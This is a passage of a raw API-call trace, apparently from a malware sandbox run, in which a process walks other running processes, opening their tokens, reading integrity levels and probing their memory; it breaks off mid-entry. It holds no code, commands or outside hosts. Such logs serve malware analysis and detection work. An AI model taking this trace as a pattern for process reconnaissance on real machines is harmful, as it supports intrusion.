0 [0074.813] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.813] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.813] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.813] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.813] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.813] NtClose (Handle=0x2e8) returned 0x0 [0074.814] NtQueryVirtualMemory (in: ProcessHandle=0x1d4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.814] NtQueryVirtualMemory (in: ProcessHandle=0x1d4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.830] QueryFullProcessImageNameW (in: hProcess=0x1d8, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.830] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.830] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.830] IsWow64Process (in: hProcess=0x1d8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.830] NtQueryInformationProcess (in: ProcessHandle=0x1d8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.830] GetProcessTimes (in: hProcess=0x1d8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.830] OpenProcessToken (in: ProcessHandle=0x1d8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.830] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.830] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.831] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.831] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.831] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.831] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.831] NtClose (Handle=0x2e8) returned 0x0 [0074.831] NtQueryVirtualMemory (in: ProcessHandle=0x1d8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.831] NtQueryVirtualMemory (in: ProcessHandle=0x1d8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.863] QueryFullProcessImageNameW (in: hProcess=0x1dc, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\DVD Maker\\ati.exe", lpdwSize=0x174fa50) returned 1 [0074.864] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.864] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.864] IsWow64Process (in: hProcess=0x1dc, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.864] NtQueryInformationProcess (in: ProcessHandle=0x1dc, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.864] GetProcessTimes (in: hProcess=0x1dc, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.864] OpenProcessToken (in: ProcessHandle=0x1dc, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.864] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.864] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.864] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.864] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.864] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.864] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.864] NtClose (Handle=0x2e8) returned 0x0 [0074.864] NtQueryVirtualMemory (in: ProcessHandle=0x1dc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.864] NtQueryVirtualMemory (in: ProcessHandle=0x1dc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.875] QueryFullProcessImageNameW (in: hProcess=0x1e0, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\nv-world.exe", lpdwSize=0x174fa50) returned 1 [0074.875] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x19658d0 [0074.876] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x18ed988) returned 1 [0074.876] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.876] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.876] IsWow64Process (in: hProcess=0x1e0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.876] NtQueryInformationProcess (in: ProcessHandle=0x1e0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.876] GetProcessTimes (in: hProcess=0x1e0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.876] OpenProcessToken (in: ProcessHandle=0x1e0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.876] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.876] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.876] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.876] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.876] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.876] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.876] NtClose (Handle=0x2e8) returned 0x0 [0074.876] NtQueryVirtualMemory (in: ProcessHandle=0x1e0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.876] NtQueryVirtualMemory (in: ProcessHandle=0x1e0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.887] QueryFullProcessImageNameW (in: hProcess=0x1e4, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Defender\\essence.exe", lpdwSize=0x174fa50) returned 1 [0074.887] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.887] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.888] IsWow64Process (in: hProcess=0x1e4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.888] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.888] GetProcessTimes (in: hProcess=0x1e4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.888] OpenProcessToken (in: ProcessHandle=0x1e4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.888] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.888] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.888] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.888] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.888] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.888] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.888] NtClose (Handle=0x2e8) returned 0x0 [0074.888] NtQueryVirtualMemory (in: ProcessHandle=0x1e4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.888] NtQueryVirtualMemory (in: ProcessHandle=0x1e4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.899] QueryFullProcessImageNameW (in: hProcess=0x1e8, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\garage encryption schema.exe", lpdwSize=0x174fa50) returned 1 [0074.899] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1965be8 [0074.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x18eda98) returned 1 [0074.899] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.899] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.899] IsWow64Process (in: hProcess=0x1e8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.899] NtQueryInformationProcess (in: ProcessHandle=0x1e8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.900] GetProcessTimes (in: hProcess=0x1e8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.900] OpenProcessToken (in: ProcessHandle=0x1e8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.900] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.900] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.900] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.900] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.900] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.900] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.900] NtClose (Handle=0x2e8) returned 0x0 [0074.900] NtQueryVirtualMemory (in: ProcessHandle=0x1e8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.900] NtQueryVirtualMemory (in: ProcessHandle=0x1e8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.911] QueryFullProcessImageNameW (in: hProcess=0x1ec, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows NT\\hepatitis.exe", lpdwSize=0x174fa50) returned 1 [0074.911] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.911] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.911] IsWow64Process (in: hProcess=0x1ec, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.911] NtQueryInformationProcess (in: ProcessHandle=0x1ec, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.911] GetProcessTimes (in: hProcess=0x1ec, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.911] OpenProcessToken (in: ProcessHandle=0x1ec, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.911] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.911] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.911] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.912] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.912] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.912] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.912] NtClose (Handle=0x2e8) returned 0x0 [0074.912] NtQueryVirtualMemory (in: ProcessHandle=0x1ec, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.912] NtQueryVirtualMemory (in: ProcessHandle=0x1ec, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.922] QueryFullProcessImageNameW (in: hProcess=0x1f0, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows NT\\lies.exe", lpdwSize=0x174fa50) returned 1 [0074.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.923] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.923] IsWow64Process (in: hProcess=0x1f0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.923] NtQueryInformationProcess (in: ProcessHandle=0x1f0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.923] GetProcessTimes (in: hProcess=0x1f0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.923] OpenProcessToken (in: ProcessHandle=0x1f0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.923] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.923] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.923] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.923] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.923] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.923] NtClose (Handle=0x2e8) returned 0x0 [0074.923] NtQueryVirtualMemory (in: ProcessHandle=0x1f0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.923] NtQueryVirtualMemory (in: ProcessHandle=0x1f0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0074.934] QueryFullProcessImageNameW (in: hProcess=0x1f4, dwFlags=0x0, lpExeName=0x180f5a8, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files\\Windows Photo Viewer\\april_other.exe", lpdwSize=0x174fa50) returned 1 [0074.934] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x180f5a8) returned 1 [0074.934] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.934] IsWow64Process (in: hProcess=0x1f4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.934] NtQueryInformationProcess (in: ProcessHandle=0x1f4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.934] GetProcessTimes (in: hProcess=0x1f4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.934] OpenProcessToken (in: ProcessHandle=0x1f4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.934] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.935] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.935] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0074.935] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0074.935] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.935] NtClose (Handle=0x2e8) returned 0x0 [0074.935] NtQueryVirtualMemory (in: ProcessHandle=0x1f4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0074.935] NtQueryVirtualMemory (in: ProcessHandle=0x1f4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: 